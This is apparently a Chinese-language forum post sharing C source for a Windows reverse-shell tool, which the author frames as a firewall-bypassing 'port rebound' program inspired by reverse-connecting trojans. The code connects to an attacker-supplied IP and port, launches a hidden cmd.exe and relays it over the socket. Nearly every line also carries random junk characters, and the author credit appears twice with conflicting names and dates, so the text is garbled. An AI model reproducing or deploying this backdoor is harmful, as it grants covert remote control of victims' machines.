Windows下端口反弹

这是一个Windows下的小程序，可以穿透防火墙反弹连接，当然这是最简单的！看到网络上反弹木马到处都是，心一热就有了这个了（代码很垃圾的）。 oQiRjDLx  
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/* ============================== BUs={"Pa  
Rebound port in Windows NT kBeYl+*pk  
By wind,2006/7 Y@y"bjK \  
===============================*/ /(u# D[  
#include k>)Uyw$!  
#include J kxsua  
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#pragma comment(lib,"wsock32.lib") z -c1,GOD  
C=Tq/L w  
void OutputShell(); {ePtZyo0  
SOCKET sClient; ZOBcV,K  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; ipe8U1Sc  
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void main(int argc,char **argv) ' ~1/*F%8  
{ nv<t$r  
WSADATA stWsaData; A2.GNk  
int nRet;
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SOCKADDR_IN stSaiClient,stSaiServer; w9w=2 *  
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if(argc != 3) ` 7P%muY.  
{ 9e*o$)j_  
printf("Useage:\n\rRebound DestIP DestPort\n"); m-2!r*(zt  
return; nX_w F`n"  
} %x-`Y[  
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WSAStartup(MAKEWORD(2,2),&stWsaData); 34,'smHi%  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 6rMXv0)  
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stSaiClient.sin_family = AF_INET; Ay6]vU  
stSaiClient.sin_port = htons(0); {.])'~[U  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); =o:1Rc7J  
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) fuU 3?SG  
{ Z*+y?5+L"P  
printf("Bind Socket Failed!\n"); Z<iK(?@O  
return; .L~ NX/V  
} dsn(h5,Q'  
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stSaiServer.sin_family = AF_INET; SyI\ulmL  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); QM24cm T  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); ?PYZW5  
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) T/PmT:Qg`  
{ ?3%r:
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printf("Connect Error!"); OFxCV`>ce  
return; j>?`N^  
} PLJDRp 2o  
OutputShell(); \S_Ae;  
} =q(?ALGc  
. H}R}^  
void OutputShell() 1QPz|3f@\  
{ Ga_Pt8L6  
char szBuff[1024]; 8,IQ6Or|-2  
SECURITY_ATTRIBUTES stSecurityAttributes; ]XASim:A  
OSVERSIONINFO stOsversionInfo; 'YJ~~o  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; CXBFR>"  
STARTUPINFO stStartupInfo; h[;DRD!Z  
char *szShell; )KY4BBc  
PROCESS_INFORMATION stProcessInformation; t`Rbn{  
unsigned long lBytesRead; `GSl}A  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); h$#PboLd  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); UIkO_/}  
stSecurityAttributes.lpSecurityDescriptor = 0; *a^wYWa  
stSecurityAttributes.bInheritHandle = TRUE; <KJ|U0/jGd  
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/ */"gz%  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); #iQF)x| D  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); 'h@&rr@5  
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); v 8EI   
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Nt;1&dwUb  
stStartupInfo.wShowWindow = SW_HIDE; (f2r4Io|}  
stStartupInfo.hStdInput = hReadPipe; _F(Np\%_  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; ^E_chx-e}  

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GetVersionEx(&stOsversionInfo); [a
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switch(stOsversionInfo.dwPlatformId) 9I:3  
{ N,Js8Z"  
case 1: G?,"AA;  
szShell = "command.com"; !*3]PZ25a(  
break; H|$ *HQm  
default: b%KcS&-6  
szShell = "cmd.exe"; oWx^_wQ-=  
break; If]rg+|U  
} .mNw^>:cq  
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); ;<*USS6X  
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send(sClient,szMsg,77,0); 0e07pF/!  
while(1) IEd?-L  
{ 8;"9A  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); H]W'mm  
if(lBytesRead) Ct^=j@g  
{ )H`V\H[0P  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); %Eugy  
send(sClient,szBuff,lBytesRead,0); ;n.h!wmJ}  
} G^cMY$?99  
else /;TtMQt  
{ cNikLd~?A  
lBytesRead=recv(sClient,szBuff,1024,0); >5E1y!  
if(lBytesRead<=0) break; ;W|GUmADf  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); R! n7g8I%  
} HRJ\H- V  
} #k1IrqUp  
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return; N`{6<Z0  
}